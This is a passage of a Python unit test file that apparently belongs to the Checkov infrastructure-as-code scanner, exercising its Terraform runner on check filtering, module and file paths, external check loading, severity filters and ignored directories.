os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = os.path.join(current_dir,\n                                      \"../parser/resources/parser_scenarios/module_matryoshka_nested_module_enable\")\n        valid_dir_path = os.path.normpath(valid_dir_path)\n        runner = Runner(db_connector=self.db_connector())\n        checks_allowlist = ['CKV_AWS_20']\n        report = runner.run(root_folder=valid_dir_path, external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework=[\"terraform\"], checks=checks_allowlist))\n        report_json = report.get_json()\n        self.assertIsInstance(report_json, str)\n        self.assertIsNotNone(report_json)\n        self.assertIsNotNone(report.get_test_suite())\n        self.assertEqual(report.get_exit_code(\n            {'soft_fail': False, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': [],\n             'hard_fail_threshold': None}), 1)\n        self.assertEqual(report.get_exit_code(\n            {'soft_fail': True, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': [],\n             'hard_fail_threshold': None}), 0)\n\n        self.assertEqual(checks_allowlist[0], report.failed_checks[0].check_id)\n        self.assertEqual(\"/bucket1/bucket2/bucket3/bucket.tf\", report.failed_checks[0].file_path)\n        self.assertEqual(1, len(report.failed_checks))\n\n        for record in report.failed_checks:\n            self.assertIn(record.check_id, checks_allowlist)\n\n    def test_runner_honors_enforcement_rules(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        scan_dir_path = os.path.join(current_dir, \"resources\", \"nested_dir\")\n\n        runner = Runner(db_connector=self.db_connector())\n        filter = RunnerFilter(framework=['terraform'], use_enforcement_rules=True)\n        # this is not quite a true test, because the checks don't have severities. However, this shows that the check registry\n        # passes the report type properly to RunnerFilter.should_run_check, and we have tests for that method\n        filter.enforcement_rule_configs = {CheckType.TERRAFORM: Severities[BcSeverities.OFF]}\n        report = runner.run(root_folder=scan_dir_path, external_checks_dir=None,\n                            runner_filter=filter)\n\n        self.assertEqual(len(report.failed_checks), 0)\n        self.assertEqual(len(report.passed_checks), 0)\n        self.assertEqual(len(report.skipped_checks), 0)\n        self.assertEqual(len(report.parsing_errors), 0)\n\n    def test_record_relative_path_with_relative_dir(self):\n\n        # test whether the record's repo_file_path is correct, relative to the CWD (with a / at the start).\n\n        # this is just constructing the scan dir as normal\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        scan_dir_path = os.path.join(current_dir, \"resources\", \"nested_dir\")\n\n        # this is the relative path to the directory to scan (what would actually get passed to the -d arg)\n        dir_rel_path = os.path.relpath(scan_dir_path).replace('\\\\', '/')\n\n        runner = Runner(db_connector=self.db_connector())\n        checks_allowlist = ['CKV_AWS_20']\n        report = runner.run(root_folder=dir_rel_path, external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework=[\"terraform\"], checks=checks_allowlist))\n\n        all_checks = report.failed_checks + report.passed_checks\n\n        self.assertGreater(len(all_checks), 0)  # ensure that the assertions below are going to do something\n\n        for record in all_checks:\n            # no need to join with a '/' because the TF runner adds it to the start of the file path\n            self.assertEqual(record.repo_file_path, f'/{dir_rel_path}{record.file_path}')\n\n    def test_record_relative_path_with_abs_dir(self):\n\n        # test whether the record's repo_file_path is correct, relative to the CWD (with a / at the start).\n\n        # this is just constructing the scan dir as normal\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        scan_dir_path = os.path.join(current_dir, \"resources\", \"nested_dir\")\n        dir_rel_path = os.path.relpath(scan_dir_path).replace('\\\\', '/')\n        dir_abs_path = os.path.abspath(scan_dir_path)\n\n        runner = Runner(db_connector=self.db_connector())\n        checks_allowlist = ['CKV_AWS_20']\n        report = runner.run(root_folder=dir_abs_path, external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework=[\"terraform\"], checks=checks_allowlist))\n\n        all_checks = report.failed_checks + report.passed_checks\n\n        self.assertGreater(len(all_checks), 0)  # ensure that the assertions below are going to do something\n\n        for record in all_checks:\n            # no need to join with a '/' because the TF runner adds it to the start of the file path\n            self.assertEqual(record.repo_file_path, f'/{dir_rel_path}{record.file_path}')\n\n    def test_record_relative_path_with_relative_file(self):\n\n        # test whether the record's repo_file_path is correct, relative to the CWD (with a / at the start).\n\n        # this is just constructing the scan dir as normal\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        scan_file_path = os.path.join(current_dir, \"resources\", \"nested_dir\", \"dir1\", \"example.tf\")\n\n        # this is the relative path to the file to scan (what would actually get passed to the -f arg)\n        file_rel_path = os.path.relpath(scan_file_path)\n\n        runner = Runner(db_connector=self.db_connector())\n        checks_allowlist = ['CKV_AWS_20']\n        report = runner.run(root_folder=None, external_checks_dir=None, files=[file_rel_path],\n                            runner_filter=RunnerFilter(framework=[\"terraform\"], checks=checks_allowlist))\n\n        all_checks = report.failed_checks + report.passed_checks\n\n        self.assertGreater(len(all_checks), 0)  # ensure that the assertions below are going to do something\n\n        for record in all_checks:\n            # no need to join with a '/' because the TF runner adds it to the start of the file path\n            self.assertEqual(record.repo_file_path, f'/{file_rel_path}')\n\n    def test_record_relative_path_with_abs_file(self):\n\n        # test whether the record's repo_file_path is correct, relative to the CWD (with a / at the start).\n\n        # this is just constructing the scan dir as normal\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        scan_file_path = os.path.join(current_dir, \"resources\", \"nested_dir\", \"dir1\", \"example.tf\")\n\n        file_rel_path = os.path.relpath(scan_file_path)\n        file_abs_path = os.path.abspath(scan_file_path)\n\n        runner = Runner(db_connector=self.db_connector())\n        checks_allowlist = ['CKV_AWS_20']\n        report = runner.run(root_folder=None, external_checks_dir=None, files=[file_abs_path],\n                            runner_filter=RunnerFilter(framework=[\"terraform\"], checks=checks_allowlist))\n\n        all_checks = report.failed_checks + report.passed_checks\n\n        self.assertGreater(len(all_checks), 0)  # ensure that the assertions below are going to do something\n\n        for record in all_checks:\n            # no need to join with a '/' because the TF runner adds it to the start of the file path\n            self.assertEqual(record.repo_file_path, f'/{file_rel_path}')\n\n    def test_record_definition_context_path(self):\n        resources_path = os.path.join(\n            os.path.dirname(os.path.realpath(__file__)), \"resources\", \"definition_context_path_nested_modules\")\n        checks_allow_list = ['CKV_AWS_20']\n        expected_definition_context_paths = [os.path.join(resources_path, 'main.tf'),\n                                             f'{os.path.join(resources_path, \"module/main.tf\")}{TERRAFORM_NESTED_MODULE_PATH_PREFIX}{os.path.join(resources_path, \"main.tf\")}{TERRAFORM_NESTED_MODULE_INDEX_SEPARATOR}0{TERRAFORM_NESTED_MODULE_PATH_ENDING}',\n                                             f'{os.path.join(resources_path, \"module/module2/main.tf\")}{TERRAFORM_NESTED_MODULE_PATH_PREFIX}{os.path.join(resources_path, \"module/main.tf\")}{TERRAFORM_NESTED_MODULE_INDEX_SEPARATOR}0{TERRAFORM_NESTED_MODULE_PATH_ENDING}{os.path.join(resources_path, \"main.tf\")}{TERRAFORM_NESTED_MODULE_INDEX_SEPARATOR}0{TERRAFORM_NESTED_MODULE_PATH_ENDING}{TERRAFORM_NESTED_MODULE_PATH_ENDING}']\n        expected_definition_context_paths.sort()\n\n        runner = Runner(db_connector=self.db_connector())\n        report = runner.run(root_folder=resources_path, external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework=[\"terraform\"], checks=checks_allow_list))\n        definition_context_paths = [f.definition_context_file_path for f in report.failed_checks]\n        definition_context_paths.sort()\n        self.assertEqual(expected_definition_context_paths.sort(), definition_context_paths.sort())\n\n    def test_runner_malformed_857(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        passing_tf_file_path = current_dir + \"/resources/malformed_857/main.tf\"\n\n        runner = Runner(db_connector=self.db_connector())\n        runner.run(root_folder=None, external_checks_dir=None, files=[passing_tf_file_path])\n        # If we get here all is well. :-)  Failure would throw an exception.\n\n    def test_runner_empty_locals(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        passing_tf_file_path = current_dir + \"/resources/empty_locals\"\n\n        runner = Runner(db_connector=self.db_connector())\n        r = runner.run(root_folder=passing_tf_file_path, external_checks_dir=None)\n\n        assert len(r.parsing_errors) == 0\n\n    def test_module_skip(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        report = Runner(db_connector=self.db_connector()).run(root_folder=f\"{current_dir}/resources/module_skip\",\n                                                              external_checks_dir=None,\n                                                              runner_filter=RunnerFilter(\n                                                                  checks=\"CKV_AWS_19\"))  # bucket encryption\n\n        self.assertEqual(len(report.skipped_checks), 5)\n        self.assertEqual(len(report.failed_checks), 0)\n        self.assertEqual(len(report.passed_checks), 0)\n\n        found_inside = False\n        found_outside = False\n\n        for record in report.failed_checks:\n            if \"inside\" in record.resource:\n                found_inside = True\n                self.assertEqual(record.resource, \"module.test_module.aws_s3_bucket.inside\")\n                assert record.file_path == \"/module/module.tf\"\n                self.assertEqual(record.file_line_range, [7, 9])\n                assert record.caller_file_path == \"/main.tf\"\n                # ATTENTION!! If this breaks, see the \"HACK ALERT\" comment in runner.run_block.\n                #             A bug might have been fixed.\n                self.assertEqual(record.caller_file_line_range, (6, 8))\n\n            if \"outside\" in record.resource:\n                found_outside = True\n                self.assertEqual(record.resource, \"aws_s3_bucket.outside\")\n                assert record.file_path == \"/main.tf\"\n                self.assertEqual(record.file_line_range, [12, 16])\n                self.assertIsNone(record.caller_file_path)\n                self.assertIsNone(record.caller_file_line_range)\n\n        self.assertFalse(found_inside)\n        self.assertFalse(found_outside)\n\n    def test_nested_modules_caller_file(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        report = Runner(db_connector=self.db_connector()).run(\n            root_folder=f\"{current_dir}/resources/nested_modules_caller_file\",\n            external_checks_dir=None,\n            runner_filter=RunnerFilter(checks=\"CKV_AWS_143\"))  # bucket encryption\n        self.assertEqual(len(report.failed_checks), 1)\n        self.assertEqual(len(report.passed_checks), 0)\n        record = report.failed_checks[0]\n        self.assertIsNotNone(record.caller_file_path)\n        self.assertIsNotNone(record.caller_file_line_range)\n\n    def test_module_failure_reporting_772(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        report = Runner(db_connector=self.db_connector()).run(\n            root_folder=f\"{current_dir}/resources/module_failure_reporting_772\",\n            external_checks_dir=None,\n            runner_filter=RunnerFilter(checks=\"CKV_AWS_143\"))  # bucket encryption\n\n        self.assertEqual(len(report.failed_checks), 2)\n        self.assertEqual(len(report.passed_checks), 0)\n\n        found_inside = False\n        found_outside = False\n        for record in report.failed_checks:\n            # \"outside\" bucket (not defined in a module) should be a direct resource path and\n            # should not have caller file info.\n            if \"outside\" in record.resource:\n                found_outside = True\n                self.assertEqual(record.resource, \"aws_s3_bucket.outside\")\n                assert record.file_path == \"/main.tf\"\n                self.assertEqual(record.file_line_range, [11, 17])\n                self.assertIsNone(record.caller_file_path)\n                self.assertIsNone(record.caller_file_line_range)\n\n            if \"inside\" in record.resource:\n                found_inside = True\n                self.assertEqual(record.resource, \"module.test_module.aws_s3_bucket.inside\")\n                assert record.file_path == \"/module/module.tf\"\n                self.assertEqual(record.file_line_range, [7, 13])\n                assert record.caller_file_path == \"/main.tf\"\n                self.assertEqual(record.caller_file_line_range, (6, 8))\n\n        self.assertTrue(found_inside)\n        self.assertTrue(found_outside)\n\n    def test_loading_external_checks_yaml(self):\n        runner = Runner(db_connector=self.db_connector())\n        runner.graph_registry.checks = []\n        runner.graph_registry.load_checks()\n        base_len = len(runner.graph_registry.checks)\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        extra_checks_dir_path = current_dir + \"/extra_yaml_checks\"\n        runner.load_external_checks([extra_checks_dir_path])\n        self.assertEqual(len(runner.graph_registry.checks), base_len + 5)\n        runner.graph_registry.checks = runner.graph_registry.checks[:base_len]\n\n    def test_loading_external_checks_yaml_multiple_times(self):\n        runner = Runner(db_connector=self.db_connector())\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        runner.graph_registry.checks = []\n        extra_checks_dir_path = [current_dir + \"/extra_yaml_checks\"]\n        runner.load_external_checks(extra_checks_dir_path)\n        self.assertEqual(len(runner.graph_registry.checks), 5)\n        runner.load_external_checks(extra_checks_dir_path)\n        self.assertEqual(len(runner.graph_registry.checks), 5)\n\n        graph_checks = [x.id for x in runner.graph_registry.checks]\n        self.assertIn('CUSTOM_GRAPH_AWS_1', graph_checks)\n        self.assertIn('CUSTOM_GRAPH_AWS_2', graph_checks)\n        self.assertIn('CKV2_CUSTOM_1', graph_checks)\n        runner.graph_registry.checks = []\n\n    def test_loading_external_checks_python(self):\n        runner = Runner(db_connector=self.db_connector())\n        from tests.terraform.runner.extra_checks.S3EnvironmentCheck import scanner\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        extra_checks_dir_paths = [current_dir + \"/extra_checks\"]\n        runner.load_external_checks(extra_checks_dir_paths)\n        found = 0\n        for resource_type in scanner.supported_resources:\n            checks = resource_registry.checks[resource_type]\n            checks_ids = [c.id for c in checks]\n            self.assertIn(scanner.id, checks_ids)\n            found += 1\n        self.assertEqual(found, len(scanner.supported_resources))\n\n    def test_loading_external_checks_python_multiple_times(self):\n        runner = Runner(db_connector=self.db_connector())\n        from tests.terraform.runner.extra_checks.S3EnvironmentCheck import scanner\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        extra_checks_dir_paths = [current_dir + \"/extra_checks\", current_dir + \"/extra_checks\"]\n        runner.load_external_checks(extra_checks_dir_paths)\n        found = 0\n        for resource_type in scanner.supported_resources:\n            checks = resource_registry.checks[resource_type]\n            checks_ids = [c.id for c in checks]\n            self.assertIn(scanner.id, checks_ids)\n            instances = list(filter(lambda c: c.id == scanner.id, checks))\n            self.assertEqual(len(instances), 1)\n            found += 1\n\n        self.assertEqual(found, len(scanner.supported_resources))\n\n    def test_loading_external_checks_python_and_yaml(self):\n        runner = Runner(db_connector=self.db_connector())\n        from tests.terraform.runner.extra_checks.S3EnvironmentCheck import scanner\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        extra_checks_dir_paths = [current_dir + \"/extra_checks\", current_dir + \"/extra_yaml_checks\"]\n        runner.load_external_checks(extra_checks_dir_paths)\n        found = 0\n        for resource_type in scanner.supported_resources:\n            checks = resource_registry.checks[resource_type]\n            checks_ids = [c.id for c in checks]\n            self.assertIn(scanner.id, checks_ids)\n            found += 1\n        self.assertEqual(found, len(scanner.supported_resources))\n        self.assertEqual(len(list(filter(lambda c: c.id == CUSTOM_GRAPH_CHECK_ID, runner.graph_registry.checks))), 1)\n        # Remove external checks from registry.\n        runner.graph_registry.checks[:] = [check for check in runner.graph_registry.checks if \"CUSTOM\" not in check.id]\n\n    def test_wrong_check_imports(self):\n        wrong_imports = (\n        \"checkov.arm\", \"checkov.cloudformation\", \"checkov.dockerfile\", \"checkov.helm\", \"checkov.kubernetes\",\n        \"checkov.serverless\")\n        check_imports = []\n\n        checks_path = Path(inspect.getfile(Runner)).parent.joinpath(\"checks\")\n        for file in checks_path.rglob(\"*.py\"):\n            with file.open() as f:\n                instructions = dis.get_instructions(f.read())\n                import_names = [instr.argval for instr in instructions if \"IMPORT_NAME\" == instr.opname]\n\n                for import_name in import_names:\n                    if import_name.startswith(wrong_imports):\n                        check_imports.append({file.name: import_name})\n\n        assert len(check_imports) == 0, f\"Wrong imports were added: {check_imports}\"\n\n    def test_resource_ids_nested_modules(self):\n        resources_path = os.path.join(\n            os.path.dirname(os.path.realpath(__file__)), \"resources\", \"resource_ids_nested_modules\")\n        checks_allow_list = ['CKV_AWS_20']\n        expected_resources_ids = ['aws_s3_bucket.example', 'module.s3_module.aws_s3_bucket.example2',\n                                  'module.s3_module.module.inner_s3_module.aws_s3_bucket.example3']\n        expected_resources_ids.sort()\n\n        runner = Runner(db_connector=self.db_connector())\n        report = runner.run(root_folder=resources_path, external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework=[\"terraform\"], checks=checks_allow_list))\n\n        resources_ids = [f.resource for f in report.failed_checks]\n        resources_ids.sort()\n        self.assertEqual(len(resources_ids), 3)\n        self.assertEqual(expected_resources_ids, resources_ids)\n\n    def test_list_of_routes(self):\n        resources_path = os.path.join(\n            os.path.dirname(os.path.realpath(__file__)), \"resources\", \"list_of_routes\")\n        checks_allow_list = ['CKV2_AWS_44']\n\n        runner = Runner(db_connector=self.db_connector())\n        report = runner.run(root_folder=resources_path, external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework=[\"terraform\"], checks=checks_allow_list))\n\n        self.assertEqual(len(report.passed_checks), 0)\n        self.assertEqual(len(report.failed_checks), 1)\n\n    def test_resource_values_dont_exist(self):\n        resources_path = os.path.join(\n            os.path.dirname(os.path.realpath(__file__)), \"resources\", \"resource_value_without_var\")\n        checks_allow_list = ['CKV_AWS_21']\n        skip_checks = ['CUSTOM_AWS_1']\n        source_files = [\"main.tf\", \"variables.tf\"]\n\n        runner = Runner(db_connector=self.db_connector())\n        report = runner.run(root_folder=None, external_checks_dir=None,\n                            files=list(map(lambda f: f'{resources_path}/{f}', source_files)),\n                            runner_filter=RunnerFilter(framework=[\"terraform\"],\n                                                       checks=checks_allow_list, skip_checks=skip_checks))\n\n        self.assertEqual(len(report.passed_checks), 1)\n        self.assertEqual(len(report.failed_checks), 1)\n\n    def test_resource_values_do_exist(self):\n        resources_path = os.path.join(\n            os.path.dirname(os.path.realpath(__file__)), \"resources\", \"resource_value_without_var\")\n        checks_allow_list = ['CKV_AWS_21']\n        skip_checks = ['CUSTOM_AWS_1']\n        source_files = [\"main.tf\", \"variables.tf\", \"variables_unscoped.tf\"]\n\n        runner = Runner(db_connector=self.db_connector())\n        report = runner.run(root_folder=None, external_checks_dir=None,\n                            files=list(map(lambda f: f'{resources_path}/{f}', source_files)),\n                            runner_filter=RunnerFilter(framework=[\"terraform\"],\n                                                       checks=checks_allow_list, skip_checks=skip_checks))\n\n        self.assertEqual(len(report.passed_checks), 3)\n        self.assertEqual(len(report.failed_checks), 3)\n\n    def test_resource_negative_values_dont_exist(self):\n        resources_path = os.path.join(\n            os.path.dirname(os.path.realpath(__file__)), \"resources\", \"resource_negative_value_without_var\")\n        checks_allow_list = ['CKV_AWS_57']\n        skip_checks = ['CUSTOM_AWS_1']\n        source_files = [\"main.tf\", \"variables.tf\"]\n\n        runner = Runner(db_connector=self.db_connector())\n        report = runner.run(root_folder=None, external_checks_dir=None,\n                            files=list(map(lambda f: f'{resources_path}/{f}', source_files)),\n                            runner_filter=RunnerFilter(framework='terraform',\n                                                       checks=checks_allow_list, skip_checks=skip_checks))\n\n        self.assertEqual(len(report.passed_checks), 1)\n        self.assertEqual(len(report.failed_checks), 1)\n\n    def test_resource_negative_values_do_exist(self):\n        resources_path = os.path.join(\n            os.path.dirname(os.path.realpath(__file__)), \"resources\", \"resource_negative_value_without_var\")\n        checks_allow_list = ['CKV_AWS_57']\n        skip_checks = ['CUSTOM_AWS_1']\n        source_files = [\"main.tf\", \"variables.tf\", \"variables_unscoped.tf\"]\n\n        runner = Runner(db_connector=self.db_connector())\n        report = runner.run(root_folder=None, external_checks_dir=None,\n                            files=list(map(lambda f: f'{resources_path}/{f}', source_files)),\n                            runner_filter=RunnerFilter(framework=[\"terraform\"],\n                                                       checks=checks_allow_list, skip_checks=skip_checks))\n\n        self.assertEqual(len(report.passed_checks), 3)\n        self.assertEqual(len(report.failed_checks), 3)\n\n    def test_unrendered_simple_var(self):\n        resources_dir = os.path.join(\n            os.path.dirname(os.path.realpath(__file__)), \"resources\", \"unrendered_vars\")\n        file_to_scan = os.path.join(resources_dir, \"simple.tf\")\n        checks = ['BUCKET_EQUALS', 'BUCKET_EXISTS']\n\n        runner = Runner(db_connector=self.db_connector())\n        runner_filter = RunnerFilter(framework=['terraform'], checks=checks)\n        report = runner.run(root_folder=None, files=[file_to_scan], external_checks_dir=[resources_dir],\n                            runner_filter=runner_filter)\n\n        # plus 1 unknown\n        self.assertEqual(len(report.passed_checks), 3)\n        self.assertEqual(len(report.failed_checks), 0)\n\n        self.assertTrue(any(r.check_id == 'BUCKET_EXISTS' and r.resource == 'aws_s3_bucket.known_simple_pass' for r in\n                            report.passed_checks))\n        self.assertTrue(any(r.check_id == 'BUCKET_EQUALS' and r.resource == 'aws_s3_bucket.known_simple_pass' for r in\n                            report.passed_checks))\n\n        self.assertTrue(any(r.check_id == 'BUCKET_EXISTS' and r.resource == 'aws_s3_bucket.unknown_simple' for r in\n                            report.passed_checks))\n\n        # reset graph checks\n        runner.graph_registry.checks = []\n        runner.graph_registry.load_checks()\n\n    def test_unrendered_nested_var(self):\n        resources_dir = os.path.join(\n            os.path.dirname(os.path.realpath(__file__)), \"resources\", \"unrendered_vars\")\n        file_to_scan = os.path.join(resources_dir, \"nested.tf\")\n        checks = ['COMPONENT_EQUALS', 'COMPONENT_EXISTS']\n\n        runner = Runner(db_connector=self.db_connector())\n        runner_filter = RunnerFilter(framework=['terraform'], checks=checks)\n        report = runner.run(root_folder=None, files=[file_to_scan], external_checks_dir=[resources_dir],\n                            runner_filter=runner_filter)\n\n        # plus 3 unknown\n        self.assertEqual(len(report.passed_checks), 5)\n        self.assertEqual(len(report.failed_checks), 2)\n\n        self.assertTrue(any(\n            r.check_id == 'COMPONENT_EXISTS' and r.resource == 'aws_s3_bucket.unknown_nested_2_pass' for r in\n            report.passed_checks))\n\n        self.assertTrue(any(\n            r.check_id == 'COMPONENT_EXISTS' and r.resource == 'aws_s3_bucket.known_nested_pass' for r in\n            report.passed_checks))\n        self.assertTrue(any(\n            r.check_id == 'COMPONENT_EQUALS' and r.resource == 'aws_s3_bucket.known_nested_pass' for r in\n            report.passed_checks))\n\n        self.assertTrue(any(\n            r.check_id == 'COMPONENT_EXISTS' and r.resource == 'aws_s3_bucket.known_nested_2_pass' for r in\n            report.passed_checks))\n        self.assertTrue(any(\n            r.check_id == 'COMPONENT_EQUALS' and r.resource == 'aws_s3_bucket.known_nested_2_pass' for r in\n            report.passed_checks))\n\n        self.assertTrue(any(\n            r.check_id == 'COMPONENT_EXISTS' and r.resource == 'aws_s3_bucket.known_nested_fail' for r in\n            report.failed_checks))\n        self.assertTrue(any(\n            r.check_id == 'COMPONENT_EQUALS' and r.resource == 'aws_s3_bucket.known_nested_fail' for r in\n            report.failed_checks))\n\n        # reset graph checks\n        runner.graph_registry.checks = []\n        runner.graph_registry.load_checks()\n\n    def test_no_duplicate_results(self):\n        resources_path = os.path.join(\n            os.path.dirname(os.path.realpath(__file__)), \"resources\", \"duplicate_violations\")\n        runner = Runner(db_connector=self.db_connector())\n        report = runner.run(root_folder=resources_path, external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework=[\"terraform\"]))\n\n        unique_checks = []\n        for record in report.passed_checks:\n            check_unique = f\"{record.check_id}.{record.resource}\"\n            if check_unique in unique_checks:\n                self.fail(f\"found duplicate results in report: {record.to_string()}\")\n            unique_checks.append(check_unique)\n\n    def test_malformed_file_in_parsing_error(self):\n        resources_path = os.path.join(\n            os.path.dirname(os.path.realpath(__file__)), \"resources\", \"unbalanced_eval_brackets\")\n        runner = Runner(db_connector=self.db_connector())\n        report = runner.run(root_folder=resources_path, external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework='terraform'))\n        file_path = os.path.join(resources_path, 'main.tf')\n        self.assertEqual(report.parsing_errors[0], file_path)\n\n    def test_runner_scan_hcl(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        dir_to_scan = os.path.join(current_dir, 'resources', 'tf_with_hcl_files')\n        runner = Runner(db_connector=self.db_connector())\n        report = runner.run(root_folder=dir_to_scan, external_checks_dir=None, files=None)\n        self.assertEqual(len(report.resources), 2)\n\n    def test_runner_scan_hcl_file(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        file_to_scan = os.path.join(current_dir, 'resources', 'tf_with_hcl_files', 'example_acl_fail.hcl')\n\n        runner = Runner(db_connector=self.db_connector())\n        report = runner.run(root_folder=None, external_checks_dir=None, files=[file_to_scan])\n        self.assertEqual(len(report.resources), 1)\n\n    def test_runner_exclude_file(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        path_to_scan = os.path.join(current_dir, 'resources', 'nested_dir', 'dir1')\n        runner = Runner(db_connector=self.db_connector())\n        report = runner.run(root_folder=path_to_scan, external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework=[\"terraform\"], excluded_paths=['example.tf']))\n        self.assertEqual(0, len(report.resources))\n\n    def test_runner_exclude_dir(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        path_to_scan = os.path.join(current_dir, 'resources', 'nested_dir')\n        runner = Runner(db_connector=self.db_connector())\n        report = runner.run(root_folder=path_to_scan, external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework=[\"terraform\"], excluded_paths=['dir1']))\n        self.assertEqual(1, len(report.resources))\n\n    def test_runner_merge_operator(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        tf_dir_path = current_dir + \"/resources/merge_operator\"\n        extra_checks_dir_path = [current_dir + \"/resources/merge_operator/query\"]\n\n        runner = Runner(db_connector=self.db_connector())\n        report = runner.run(root_folder=tf_dir_path, external_checks_dir=extra_checks_dir_path,\n                            runner_filter=RunnerFilter(checks=[\"CKV2_AWS_200\"]))\n\n        self.assertEqual(1, len(report.passed_checks))\n\n    def test_record_includes_severity(self):\n        custom_check_id = \"MY_CUSTOM_CHECK\"\n\n        resource_registry.checks = defaultdict(list)\n\n        class AnyFailingCheck(BaseResourceCheck):\n            def __init__(self, *_, **__) -> None:\n                super().__init__(\n                    \"this should fail\",\n                    custom_check_id,\n                    [CheckCategories.ENCRYPTION],\n                    [\"aws_s3_bucket\"]\n                )\n\n            def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult:\n                return CheckResult.FAILED\n\n        check = AnyFailingCheck()\n        check.severity = Severities[BcSeverities.LOW]\n        scan_file_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), \"resources\",\n                                      \"valid_tf_only_failed_checks\", \"example_acl_fail.tf\")\n\n        report = Runner(db_connector=self.db_connector()).run(\n            None,\n            files=[scan_file_path],\n            runner_filter=RunnerFilter(framework=['terraform'], checks=[custom_check_id])\n        )\n\n        self.assertEqual(report.failed_checks[0].severity, Severities[BcSeverities.LOW])\n\n    def test_severity_check_filter_omit(self):\n        custom_check_id = \"MY_CUSTOM_CHECK\"\n\n        resource_registry.checks = defaultdict(list)\n\n        class AnyFailingCheck(BaseResourceCheck):\n            def __init__(self, *_, **__) -> None:\n                super().__init__(\n                    \"this should fail\",\n                    custom_check_id,\n                    [CheckCategories.ENCRYPTION],\n                    [\"aws_s3_bucket\"]\n                )\n\n            def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult:\n                return CheckResult.FAILED\n\n        check = AnyFailingCheck()\n        check.severity = Severities[BcSeverities.LOW]\n        scan_file_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), \"resources\",\n                                      \"valid_tf_only_failed_checks\", \"example_acl_fail.tf\")\n\n        report = Runner(db_connector=self.db_connector()).run(\n            None,\n            files=[scan_file_path],\n            runner_filter=RunnerFilter(framework=['terraform'], checks=['MEDIUM'])\n        )\n\n        all_checks = report.failed_checks + report.passed_checks\n        self.assertFalse(any(c.check_id == custom_check_id for c in all_checks))\n\n    @mock.patch(\"checkov.common.runners.base_runner.ignored_directories\", ['dir1'])\n    def test_runner_ignore_dirs(self):\n        \"\"\"CKV_IGNORED_DIRECTORIES='dir1' and CKV_IGNORE_HIDDEN_DIRECTORIES=True (default)\"\"\"\n        report = self.scan_hidden_dir()\n        self.assertEqual(len(report.resources), 1)\n\n    @mock.patch(\"checkov.common.runners.base_runner.ignored_directories\", ['dir1'])\n    @mock.patch(\"checkov.common.runners.base_runner.IGNORE_HIDDEN_DIRECTORY_ENV\", 0)\n    def test_runner_scan_hidden_dirs_and_ignore_dirs(self):\n        \"\"\"CKV_IGNORED_DIRECTORIES='dir1' and CKV_IGNORE_HIDDEN_DIRECTORIES=False\"\"\"\n        report = self.scan_hidden_dir()\n        self.assertEqual(len(report.resources), 3)\n\n    def test_runner_scan_default_env_vars(self):\n        \"\"\"CKV_IGNORED_DIRECTORIES and CKV_IGNORE_HIDDEN_DIRECTORIES are equal to default\"\"\"\n        report = self.scan_hidden_dir()\n        self.assertEqual(len(report.resources), 2)\n\n    @mock.patch(\"checkov.common.runners.base_runner.IGNORE_HIDDEN_DIRECTORY_ENV\", 0)\n    def test_runner_scan_hidden_dirs(self):\n        \"\"\"CKV_IGNORE_HIDDEN_DIRECTORIES=False and CKV_IGNORED_DIRECTORIES equals to default value\"\"\"\n        report = self.scan_hidden_dir()\n        self.assertEqual(len(report.resources), 5)\n\n    def scan_hidden_dir(self):\n        \"\"\" scan resources/hidden_dir directory.\"\"\"\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        path_to_scan = os.path.join(current_dir, 'resources', 'hidden_dir')\n        runner = Runner(db_connector=self.db_connector())\n        report = runner.run(root_folder=path_to_scan, external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework=[\"terraform\"]))\n        return report\n\n    def test_severity_check_filter(self):\n        custom_check_id = \"MY_CUSTOM_CHECK\"\n\n        resource_registry.checks = defaultdict(list)\n\n        class AnyFailingCheck(BaseResourceCheck):\n            def __init__(self, *_, **__) -> None:\n                super().__init__(\n                    \"this should fail\",\n                    custom_check_id,\n                    [CheckCategories.ENCRYPTION],\n                    [\"aws_s3_bucket\"]\n                )\n\n            def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult:\n                return CheckResult.FAILED\n\n        check = AnyFailingCheck()\n        check.severity = Severities[BcSeverities.MEDIUM]\n        scan_file_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), \"resources\",\n                                      \"valid_tf_only_failed_checks\", \"example_acl_fail.tf\")\n\n        report = Runner(db_connector=self.db_connector()).run(\n            None,\n            files=[scan_file_path],\n            